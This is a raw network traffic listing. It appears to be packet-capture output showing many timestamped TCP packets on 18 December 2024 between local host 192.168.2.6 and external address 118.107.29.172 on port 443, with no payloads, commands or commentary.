Dec 18, 2024 13:35:37.473130941 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.473140001 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.473181009 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.478480101 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.478497028 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.478550911 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.478559017 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.478595972 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.488724947 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.488746881 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.488787889 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.488796949 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.488807917 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.488835096 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.515424967 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.515460968 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.515527964 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.515542984 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.515567064 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.515587091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.620723963 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.620748997 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.620790958 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.620801926 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.620812893 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.620841026 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.646507025 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.646534920 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.646579981 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.646603107 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.646616936 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.646641016 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.652017117 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.652045012 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.652076960 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.652086020 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.652111053 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.652132034 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.657862902 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.657888889 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.657931089 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.657938957 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.657949924 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.657979965 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.662827015 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.662848949 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.662925959 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.662935972 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.662976980 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.668664932 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.668693066 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.668729067 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.668735981 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.668766022 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.668783903 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.679090023 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.679109097 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.679172039 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.679182053 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.679223061 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.707184076 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.707222939 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.707268953 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.707293987 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.707321882 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.707336903 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.812556982 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.812583923 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.812638044 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.812659979 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.812670946 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.812809944 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.838861942 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.838882923 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.838932991 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.838944912 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.838973999 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.838993073 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.844597101 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.844614983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.844654083 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.844662905 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.844693899 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.844712019 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.850425959 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.850452900 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.850528002 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.850545883 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.850605011 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.855494976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.855520964 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.855562925 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.855576992 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.855614901 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.855668068 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.861319065 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.861336946 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.861380100 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.861392021 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.861428022 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.861444950 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.872113943 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.872133970 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.872200966 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.872214079 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.872242928 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.872258902 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.899456024 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.899477005 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.899528027 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.899544001 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.899561882 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.899744987 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.006388903 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.006443977 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.006481886 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.006522894 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.006536961 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.006561041 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.031269073 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.031347990 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.031352997 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.031380892 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.031404972 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.031419992 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.037007093 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.037053108 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.037080050 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.037090063 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.037116051 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.037128925 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.043050051 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.043065071 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.043128967 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.043139935 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.043176889 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.047827959 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.047842026 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.047904968 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.047918081 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.047954082 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.053720951 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.053735971 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.053812027 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.053822041 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.053860903 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.064615011 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.064635992 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.064686060 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.064707994 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.064718962 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.064743996 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.091670036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.091687918 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.091737986 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.091773987 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.091788054 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.091849089 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.197192907 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.197211981 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.197267056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.197284937 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.197312117 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.197330952 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.228504896 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.228523970 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.228578091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.228593111 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.228604078 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.228627920 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.229453087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.229469061 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.229520082 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.229528904 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.229566097 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.235742092 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.235759974 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.235807896 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.235817909 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.235826969 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.235855103 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.240329981 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.240346909 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.240400076 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.240408897 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.240449905 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.245909929 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.245923996 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.245976925 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.245987892 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.246026039 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.256997108 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.257016897 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.257080078 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.257092953 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.257129908 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.283679962 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.283699036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.283777952 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.283803940 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.283843994 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.389996052 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.390017986 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.390163898 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.390199900 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.390345097 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.415689945 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.415709972 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.415828943 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.415852070 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.415910959 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.421422005 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.421437979 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.421520948 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.421535969 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.421565056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.421591997 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.427450895 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.427467108 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.427522898 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.427535057 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.427588940 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.432492018 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.432507992 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.432554960 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.432563066 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.432594061 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.432610035 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.438292980 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.438311100 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.438359022 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.438371897 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.438395977 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.438415051 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.449758053 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.449774981 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.449855089 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.449867010 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.449908018 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.476526022 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.476546049 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.476618052 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.476646900 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.476659060 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.478077888 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.582658052 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.582675934 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.582743883 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.582775116 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.582813978 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.609445095 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.609489918 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.609579086 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.609596968 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.609627008 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.609639883 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.615389109 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.615405083 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.615464926 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.615477085 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.615514994 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.620501995 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.620522976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.620585918 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.620599985 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.620644093 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.626194000 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.626210928 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.626265049 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.626274109 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.626302004 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.626317024 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.631943941 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.631962061 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.632009029 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.632020950 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.632045984 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.632080078 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.641308069 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.641324043 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.641405106 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.641432047 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.641469955 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.668756962 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.668776035 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.668863058 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.668875933 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.668916941 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.774873972 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.774899006 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.774952888 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.774980068 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.774992943 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.778036118 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.801141024 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.801162004 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.801239967 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.801256895 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.801296949 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.807070017 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.807090044 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.807143927 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.807154894 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.807193041 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.812748909 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.812766075 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.812808037 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.812818050 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.812844992 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.812859058 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.818584919 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.818602085 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.818670988 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.818686962 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.818756104 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.824151039 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.824168921 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.824234962 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.824243069 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.824282885 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.833734035 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.833751917 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.833797932 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.833807945 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.833838940 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.833858967 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.861088037 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.861108065 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.861180067 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.861198902 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.861238003 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.967298031 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.967329025 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.967381954 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.967411041 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.967422962 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.967444897 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.994360924 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.994441032 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.994453907 CET	49728	443	192.168.2.6	118.107.29.172
